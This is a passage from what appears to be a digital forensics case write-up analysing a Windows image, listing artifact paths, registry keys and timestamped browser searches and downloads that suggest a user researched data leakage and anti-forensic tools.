&lt;li&gt;&lt;code&gt;C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What websites were accessed? (Timestamp, URL)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To analyze &lt;code&gt;Internet Explorer&lt;/code&gt; History,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat &lt;/code&gt; file, we need some kind of parser &lt;a href=&quot;https://github.com/moaistory/IE10Analyzer&quot;&gt;IE10Analyzer&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501171107.png&quot; alt=&quot;Pasted image 20260501171107.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Chrome Browser History,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\informant\AppData\Local\Google\Chrome\User Data\Default\History &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This website is useful to parse SQLite Database file, https://inloop.github.io/sqlite-viewer/.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501171343.png&quot; alt=&quot;Pasted image 20260501171343.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Software Download / Installation&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;th&gt;Browser&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:10:50&lt;/td&gt;
&lt;td&gt;IE download page&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://windows.microsoft.com/en-us/internet-explorer/download-ie&quot;&gt;http://windows.microsoft.com/en-us/internet-explorer/download-ie&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:11:04&lt;/td&gt;
&lt;td&gt;IE11 installer download&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://download.microsoft.com/download/7/1/7/7179A150-F2D2-4502-9D70-4B59EA148EAA/IE11-Windows6.1-x64-en-us.exe&quot;&gt;http://download.microsoft.com/download/7/1/7/7179A150-F2D2-4502-9D70-4B59EA148EAA/IE11-Windows6.1-x64-en-us.exe&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-22 11:11:06&lt;/td&gt;
&lt;td&gt;Chrome installer download&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://dl.google.com/update2/1.3.26.9/GoogleInstaller_en.application&quot;&gt;https://dl.google.com/update2/1.3.26.9/GoogleInstaller_en.application&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:56:15&lt;/td&gt;
&lt;td&gt;Google Drive download&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/drive/download/&quot;&gt;https://www.google.com/drive/download/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:55:28&lt;/td&gt;
&lt;td&gt;iCloud setup page&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.apple.com/icloud/setup/pc.html&quot;&gt;https://www.apple.com/icloud/setup/pc.html&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Data Leakage / Suspicious Research&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:02:09&lt;/td&gt;
&lt;td&gt;Search: data leakage methods&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=data+leakage+methods&quot;&gt;https://www.google.com/search?q=data+leakage+methods&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:02:18&lt;/td&gt;
&lt;td&gt;Read SANS paper&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.sans.org/reading-room/whitepapers/awareness/data-leakage-threats-mitigation_1931&quot;&gt;http://www.sans.org/reading-room/whitepapers/awareness/data-leakage-threats-mitigation_1931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:02:44&lt;/td&gt;
&lt;td&gt;Search: leaking confidential info&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=leaking+confidential+information&quot;&gt;https://www.google.com/search?q=leaking+confidential+information&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:03:40&lt;/td&gt;
&lt;td&gt;Search: leakage cases&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=information+leakage+cases&quot;&gt;https://www.google.com/search?q=information+leakage+cases&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:05:55&lt;/td&gt;
&lt;td&gt;FBI IP theft page&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.fbi.gov/about-us/investigate/white_collar/ipr/ipr&quot;&gt;http://www.fbi.gov/about-us/investigate/white_collar/ipr/ipr&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:06:27&lt;/td&gt;
&lt;td&gt;Search: how to leak a secret ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=how+to+leak+a+secret&quot;&gt;https://www.google.com/search?q=how+to+leak+a+secret&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:06:53&lt;/td&gt;
&lt;td&gt;Research paper (leak secret)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://research.microsoft.com/en-us/um/people/yael/publications/2001-leak_secret.pdf&quot;&gt;http://research.microsoft.com/en-us/um/people/yael/publications/2001-leak_secret.pdf&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Forensics Awareness&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:10:03&lt;/td&gt;
&lt;td&gt;Search: email forensic investigation&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=Forensic+Email+Investigation&quot;&gt;http://www.bing.com/search?q=Forensic+Email+Investigation&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:10:27&lt;/td&gt;
&lt;td&gt;Search: Windows artifacts&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=what+is+windows+system+artifacts&quot;&gt;http://www.bing.com/search?q=what+is+windows+system+artifacts&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:11:12&lt;/td&gt;
&lt;td&gt;Read forensic article&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/windows-systems-and-artifacts-in-digital-forensics-part-i-registry/&quot;&gt;http://resources.infosecinstitute.com/windows-systems-and-artifacts-in-digital-forensics-part-i-registry/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:12:35&lt;/td&gt;
&lt;td&gt;Search: event logs&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=windows+event+logs&quot;&gt;http://www.bing.com/search?q=windows+event+logs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:12:52&lt;/td&gt;
&lt;td&gt;Event Viewer info&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Event_Viewer&quot;&gt;http://en.wikipedia.org/wiki/Event_Viewer&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:14:24&lt;/td&gt;
&lt;td&gt;USB forensic artifact&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.forensicswiki.org/wiki/USB_History_Viewing&quot;&gt;http://www.forensicswiki.org/wiki/USB_History_Viewing&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Data Exfiltration Methods&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:07:58&lt;/td&gt;
&lt;td&gt;Search: file sharing&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/news/search?q=file+sharing+and+tethering&quot;&gt;http://www.bing.com/news/search?q=file+sharing+and+tethering&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:08:18&lt;/td&gt;
&lt;td&gt;File sharing article&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://sysinfotools.com/blog/tethering-internet-files-sharing/&quot;&gt;http://sysinfotools.com/blog/tethering-internet-files-sharing/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:13:20&lt;/td&gt;
&lt;td&gt;Search: CD burning&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=cd+burning+method&quot;&gt;http://www.bing.com/search?q=cd+burning+method&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:14:11&lt;/td&gt;
&lt;td&gt;Search: external devices&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=external+device+and+forensics&quot;&gt;http://www.bing.com/search?q=external+device+and+forensics&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:15:09&lt;/td&gt;
&lt;td&gt;Search: cloud storage&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=cloud+storage&quot;&gt;https://www.google.com/search?q=cloud+storage&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:15:32&lt;/td&gt;
&lt;td&gt;Compare cloud tools&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.pcadvisor.co.uk/test-centre/internet/3506734/best-cloud-storage-dropbox-google-drive-onedrive-icloud/&quot;&gt;http://www.pcadvisor.co.uk/test-centre/internet/3506734/best-cloud-storage-dropbox-google-drive-onedrive-icloud/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Anti-Forensics (CRITICAL EVIDENCE)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:17:14&lt;/td&gt;
&lt;td&gt;Search: anti-forensics&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=antiforensics&quot;&gt;https://www.google.com/search?q=antiforensics&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:17:19&lt;/td&gt;
&lt;td&gt;Anti-forensic techniques&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://forensicswiki.org/wiki/Anti-forensic_techniques&quot;&gt;http://forensicswiki.org/wiki/Anti-forensic_techniques&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:18:00&lt;/td&gt;
&lt;td&gt;DEFCON anti-forensics paper&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://defcon.org/images/defcon-20/dc-20-presentations/Perklin/DEFCON20-Perklin-AntiForensics.pdf&quot;&gt;https://defcon.org/images/defcon-20/dc-20-presentations/Perklin/DEFCON20-Perklin-AntiForensics.pdf&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:16:55&lt;/td&gt;
&lt;td&gt;Search: delete data&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=how+to+delete+data&quot;&gt;https://www.google.com/search?q=how+to+delete+data&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:19:03&lt;/td&gt;
&lt;td&gt;Search: data recovery tools&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=data+recovery+tools&quot;&gt;https://www.google.com/search?q=data+recovery+tools&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Evidence Destruction Tools&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:46:44&lt;/td&gt;
&lt;td&gt;Search: anti-forensic tools&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=antiforensic+tools&quot;&gt;http://www.bing.com/search?q=antiforensic+tools&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:46:59&lt;/td&gt;
&lt;td&gt;Eraser official site&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://eraser.heidi.ie/&quot;&gt;http://eraser.heidi.ie/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:47:34&lt;/td&gt;
&lt;td&gt;Download Eraser&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://iweb.dl.sourceforge.net/project/eraser/Eraser%206/6.2/Eraser%206.2.0.2962.exe&quot;&gt;http://iweb.dl.sourceforge.net/project/eraser/Eraser%206/6.2/Eraser%206.2.0.2962.exe&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:47:51&lt;/td&gt;
&lt;td&gt;Search: CCleaner&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=ccleaner&quot;&gt;http://www.bing.com/search?q=ccleaner&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:48:12&lt;/td&gt;
&lt;td&gt;Download CCleaner&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.piriform.com/ccleaner/download&quot;&gt;http://www.piriform.com/ccleaner/download&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;List browser search keywords.&lt;/h2&gt;
&lt;h3&gt;User Search Activity (Cleaned &amp;amp; Relevant)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Search Query&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Browser&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:02:09&lt;/td&gt;
&lt;td&gt;data leakage methods&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=data+leakage+methods&quot;&gt;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=data+leakage+methods&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:02:44&lt;/td&gt;
&lt;td&gt;leaking confidential information&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=leaking+confidential+information&quot;&gt;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=leaking+confidential+information&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:03:40&lt;/td&gt;
&lt;td&gt;information leakage cases&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=information+leakage+cases&quot;&gt;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=information+leakage+cases&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:05:48&lt;/td&gt;
&lt;td&gt;intellectual property theft&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=intellectual+property+theft&quot;&gt;https://www.google.com/search?q=intellectual+property+theft&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:06:27&lt;/td&gt;
&lt;td&gt;how to leak a secret ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=how+to+leak+a+secret&quot;&gt;https://www.google.com/search?q=how+to+leak+a+secret&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:07:58&lt;/td&gt;
&lt;td&gt;file sharing and tethering&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/news/search?q=file+sharing+and+tethering&quot;&gt;http://www.bing.com/news/search?q=file+sharing+and+tethering&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:08:31&lt;/td&gt;
&lt;td&gt;DLP DRM&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=DLP+DRM&quot;&gt;http://www.bing.com/search?q=DLP+DRM&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:08:54&lt;/td&gt;
&lt;td&gt;email investigation&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=email+investigation&quot;&gt;http://www.bing.com/search?q=email+investigation&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:10:03&lt;/td&gt;
&lt;td&gt;forensic email investigation&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=Forensic+Email+Investigation&quot;&gt;http://www.bing.com/search?q=Forensic+Email+Investigation&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:10:27&lt;/td&gt;
&lt;td&gt;windows system artifacts&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=what+is+windows+system+artifacts&quot;&gt;http://www.bing.com/search?q=what+is+windows+system+artifacts&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:11:50&lt;/td&gt;
&lt;td&gt;investigation on windows machine&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=investigation+on+windows+machine&quot;&gt;http://www.bing.com/search?q=investigation+on+windows+machine&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:12:35&lt;/td&gt;
&lt;td&gt;windows event logs&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=windows+event+logs&quot;&gt;http://www.bing.com/search?q=windows+event+logs&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:13:20&lt;/td&gt;
&lt;td&gt;CD burning method&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=cd+burning+method&quot;&gt;http://www.bing.com/search?q=cd+burning+method&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:13:37&lt;/td&gt;
&lt;td&gt;CD burning in Windows&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=cd+burning+method+in+windows&quot;&gt;http://www.bing.com/search?q=cd+burning+method+in+windows&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:14:11&lt;/td&gt;
&lt;td&gt;external device forensics&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=external+device+and+forensics&quot;&gt;http://www.bing.com/search?q=external+device+and+forensics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:14:50&lt;/td&gt;
&lt;td&gt;cloud storage&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=cloud+storage&quot;&gt;https://www.google.com/search?q=cloud+storage&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:15:44&lt;/td&gt;
&lt;td&gt;digital forensics&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=digital+forensics&quot;&gt;https://www.google.com/search?q=digital+forensics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:16:55&lt;/td&gt;
&lt;td&gt;how to delete data ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=how+to+delete+data&quot;&gt;https://www.google.com/search?q=how+to+delete+data&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:17:14&lt;/td&gt;
&lt;td&gt;anti-forensics ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=anti-forensics&quot;&gt;https://www.google.com/search?q=anti-forensics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:18:10&lt;/td&gt;
&lt;td&gt;system cleaner ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=system+cleaner&quot;&gt;https://www.google.com/search?q=system+cleaner&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:18:30&lt;/td&gt;
&lt;td&gt;how to recover data&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=how+to+recover+data&quot;&gt;https://www.google.com/search?q=how+to+recover+data&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 14:19:03&lt;/td&gt;
&lt;td&gt;data recovery tools&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/search?q=data+recovery+tools&quot;&gt;https://www.google.com/search?q=data+recovery+tools&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:55:09&lt;/td&gt;
&lt;td&gt;Apple iCloud&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=apple+icloud&quot;&gt;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=apple+icloud&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 15:56:04&lt;/td&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=google+drive&quot;&gt;https://www.google.com/webhp?hl=en#hl=en&amp;amp;q=google+drive&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 17:06:50&lt;/td&gt;
&lt;td&gt;security checkpoint CD-R&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.google.com/#q=security+checkpoint+cd-r&quot;&gt;https://www.google.com/#q=security+checkpoint+cd-r&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:46:44&lt;/td&gt;
&lt;td&gt;anti-forensic tools ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=antiforensic+tools&quot;&gt;http://www.bing.com/search?q=antiforensic+tools&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:46:54&lt;/td&gt;
&lt;td&gt;eraser (secure delete tool) ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=eraser&quot;&gt;http://www.bing.com/search?q=eraser&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-25 10:47:51&lt;/td&gt;
&lt;td&gt;CCleaner ⚠️&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.bing.com/search?q=ccleaner&quot;&gt;http://www.bing.com/search?q=ccleaner&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IE 11&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;List all user keywords at the search bar in Windows Explorer. (Timestamp, Keyword)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501173313.png&quot; alt=&quot;Pasted image 20260501173313.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;secret, 2015-03-23 18:40:17
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Email Investigation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Classes\mailto\shell\open\command (Microsoft Outlook)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Clients\Mail (Microsoft Outlook)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Office\15.0\Outlook&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What application was used for e-mail communication?&lt;/h2&gt;
